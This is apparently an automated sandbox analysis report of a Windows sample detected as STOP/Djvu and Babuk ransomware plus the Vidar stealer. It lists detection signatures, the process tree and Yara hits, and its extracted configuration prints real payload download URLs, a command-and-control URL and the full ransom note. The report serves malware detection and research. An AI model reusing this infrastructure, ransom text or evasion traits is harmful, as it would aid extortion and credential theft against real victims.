Edit tour

Windows Analysis Report
g0Zq7nJjus.exe

Overview

General Information

Sample name:	g0Zq7nJjus.exe renamed because original name is a hash value
Original sample name:	9dfb6b41c90732c9206ef6f65a941b1061126ead69e3715d79519196dad5899c.exe
Analysis ID:	1373028
MD5:	cd2a2421b83821c6c98e6d0bd346d7bd
SHA1:	0723c84c1e70a010e60b623526d146a469a69420
SHA256:	9dfb6b41c90732c9206ef6f65a941b1061126ead69e3715d79519196dad5899c
Tags:	exeTeamBot
Infos:

Detection

Babuk, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found stalling execution ending in API Sleep call

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Sample uses process hollowing technique

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

g0Zq7nJjus.exe (PID: 884 cmdline: C:\Users\user\Desktop\g0Zq7nJjus.exe MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

g0Zq7nJjus.exe (PID: 2924 cmdline: C:\Users\user\Desktop\g0Zq7nJjus.exe MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

icacls.exe (PID: 3200 cmdline: icacls "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

g0Zq7nJjus.exe (PID: 6028 cmdline: "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

g0Zq7nJjus.exe (PID: 5044 cmdline: "C:\Users\user\Desktop\g0Zq7nJjus.exe" --Admin IsNotAutoStart IsNotTask MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

build2.exe (PID: 7164 cmdline: "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe" MD5: C4070DA9F9B0581171AF16E681CCDFF8)

build2.exe (PID: 5640 cmdline: "C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe" MD5: C4070DA9F9B0581171AF16E681CCDFF8)

g0Zq7nJjus.exe (PID: 6960 cmdline: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

g0Zq7nJjus.exe (PID: 5432 cmdline: C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe --Task MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

g0Zq7nJjus.exe (PID: 280 cmdline: "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

g0Zq7nJjus.exe (PID: 3200 cmdline: "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

g0Zq7nJjus.exe (PID: 2448 cmdline: "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

g0Zq7nJjus.exe (PID: 280 cmdline: "C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe" --AutoStart MD5: CD2A2421B83821C6C98E6D0BD346D7BD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20usering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20usering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/ https://drive.google.com/file/d/1L8mkylrCJyd-817-45RA6gIFCCX4oaOv/view	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-99MNqXMrdS\r\nPrice of private key and decrypt software is $1999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $999.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0840ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnyUOiB2xE7x0hu\\/sWjMd\\\\nsFuLWuCJ5W6ojiVZfPkO3WsiKQE44ncZ7vAvQJa0bzVOF1YKNM9ycEaFo3i1IYPt\\\\nxz\\/jq68R20b+hkZtNTv54hcU7\\/Ez+0pdyzteV5Zhg7wXU130hV2tpLc73CPJWPbH\\\\n1Cb\\/TPj2BV1MyBjdQNygBMKZXr5AiecEZscmy3tPXp6G+PWkUj06eqE1m7OGGguB\\\\n99Z7DX1\\/1zY5jmMj5lpDmJWwWf7WaMni1yYPeNWGd67CNvvOmb+YjuTg4HXMAgQ2\\\\nWnCip4mCf70IqmZ2U\\/J0OUQFuCkNaQb0Q0aLFcT4bMDszWR\\/xOhuh2YWJQ0LO+gm\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.2258110870.000000000244B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.3338149937.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000E.00000002.2324121630.0000000000A50000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.2258200313.00000000025E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000E.00000002.2324379535.00000000025D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.2114398215.0000000002544000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.2114516123.00000000026E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.3339537946.000000000084E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000007.00000002.2132445419.000000000254E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.2268021627.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000000.00000002.2089445916.00000000024FA000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.2335331684.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.2132518888.00000000026C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000003.3298522136.000000000084E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.2089522171.0000000002660000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000009.00000002.2197813106.00000000006D3000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x16c0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: g0Zq7nJjus.exe PID: 884	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 884	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4bc4f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 2924	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 2924	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3cfbb:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 6028	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 6028	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x46fde:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 5044	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 5044	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 5044	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3871ec:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 6960	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 6960	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4a965:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 5432	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 5432	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 5432	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x361df:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 5640	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 5640	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 5640	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 280	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 280	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4074e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 3200	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 3200	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3d2aa:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 2448	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 2448	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x43545:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: g0Zq7nJjus.exe PID: 280	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: g0Zq7nJjus.exe PID: 280	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x406c2:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 53 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.g0Zq7nJjus.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
2.2.g0Zq7nJjus.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
2.2.g0Zq7nJjus.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
